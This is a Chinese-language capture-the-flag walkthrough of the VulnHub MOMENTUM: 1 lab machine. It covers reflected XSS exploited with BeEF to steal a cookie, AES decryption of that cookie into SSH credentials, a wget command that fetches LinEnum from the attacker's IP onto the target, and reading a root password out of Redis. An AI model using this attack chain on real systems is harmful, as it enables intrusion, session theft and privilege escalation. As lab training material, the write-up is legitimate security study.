VulnHubMOMENTUM:1靶机

前言:

        在VulnHub官网上下载好MOMENTUM: 1靶机&＃xff0c;并直接用VM导入打开。

        攻击机kali&＃xff1a;192.168.2.87

        靶机IP&＃xff1a;192.168.2.92

信息收集:

        扫描靶机ip&＃xff1b;

arp-scan -l

        得到靶机ip&＃xff1b;

        扫描靶机开放的端口&＃xff1b;看见开放了22,80端口。

        访问80端口http://192.168.2.92,得到一个有四张图片的网站&＃xff0c;话不多说&＃xff0c;直接进行目录扫描&＃xff1b;

        dirmap目录扫描&＃xff1a;

        事无巨细&＃xff0c;一个个排查&＃xff0c;一个apache的说明文档本以为是有漏洞可利用&＃xff0c;用msf简单搜索了一下并没有可用模块&＃xff0c;暂时放弃 &＃xff0c;还有个/css文档style.css内容正常&＃xff0c;其他的/image是主页的四张图片没什么有利用的价值&＃xff0c;接下来只剩下个js文件了。

http://192.168.2.92/manual/en/index.html

       访问js文件

http://192.168.2.92/js/main.js

        上面看见了window.location.href &＃61; "opus-details.php?id&＃61;"&＃43;str; 当中的window.location.href的意思是可以理解为重定向&＃xff0c;就是原url加上后面的值opus-details.php?id&＃61;&＃43;str;

        利用hackbar插件在最基础的url上添加以下代码&＃xff0c;在id后面尝试各种输入的值&＃xff0c;发现输什么就回显什么&＃xff1b;判断有xss&＃xff1b;

http://192.168.2.92/opus-details.php?id&＃61;1

攻击开始:

        开启kali的beef-xss工具&＃xff0c;启动服务并在被攻击网站插入payload&＃xff0c;获得COOKIE等信息

        得到COOKIE等信息 

         拿到COOKIE有点迷茫&＃xff0c;也只有COOKIE&＃xff0c;回头再回忆一遍&＃xff0c;nmap扫描端口时除了有个80端口还有个22的ssh端口&＃xff0c;但是我们并没有登录的账号密码&＃xff0c;想爆破一下&＃xff0c;但是我简单的爆破发现并没什么用&＃xff0c;之后看见js文件中还有一段被忽略的代码&＃xff01;这很重要。

         这串代码是一串用于加密的代码&＃xff1b;用的是AES加密方法&＃xff0c;但是加密 的是什么并不知道&＃xff0c;但是我们拿到的差不多只有COOKIE&＃xff0c;所以尝试&＃xff01;记得后面给了个AES的密码参数值"SecretPassphraseMomentum"我是用下面这个网站解密的&＃xff0c;网站有很多大家都可以直接搜到也可以参考

https://www.browserling.com/tools/aes-decrypt

         解密获得的字符串"auxerre-alienum##"得到这个能干嘛呢&＃xff1f;回想刚刚的ssh缺的就是账号密码所以&＃xff1b;尝试&＃xff01;

        登录ssh&＃xff1b;技术不济登录了十几分钟&＃xff0c;多次试错成功登录&＃xff1b;用户名是auxerre&＃xff1b;密码是auxerre-alienum##&＃xff1b;没错就是一整个。

        竟然误打误撞拿到个flag&＃xff1b;还是要提权的&＃xff0c;实在不想搞。但是还得坚持。

提权:

        使用liunx的一个提权信息收集脚本——LinEnum&＃xff0c;提权用的脚本不止这一个还有很多参考下载链接&＃xff0c;直接下载&＃xff0c;github有说明教程。

https://github.com/rebootuser/LinEnum

        开始提权&＃xff0c;首先需要在本地搭建一个http的server。利用python提供的Web模块来启动。

python -m SimpleHTTPServer 8888

        python3的话用 下面这个命令启动http

python3 -m http.server 8888

        下载安装好的LinEnum

wget http://192.168.2.87:8888/LinEnum

        查看LinEnum.sh权限&＃xff0c;并给予执行权限&＃xff0c;并执行。

        执行之后有一大堆&＃xff0c;别慌&＃xff0c;从上网下看&＃xff0c;先看见版本信息&＃xff0c;还是挺高的。

        再看下开放的端口和进程。发现个可疑端口"6379",不急继续往下看。

        看suid&＃xff0c;并没发现什么可疑文件。

         那就继续从可疑的端口开始找吧&＃xff0c;6379端口是一个数据库端口&＃xff0c;而且还不是关系型数据库 ——Redis&＃xff1b;直接连接数据库并查找key&＃xff0c;不懂的可以搜一下&＃xff0c;继续我们看见有一个"rootpass"查看一下

        拿到密码&＃xff0c;退出redis&＃xff0c;在靶机中输入su root进入root用户

查找flag:

        拿到最后一个flag&＃xff01;&＃xff01;

 结束!!!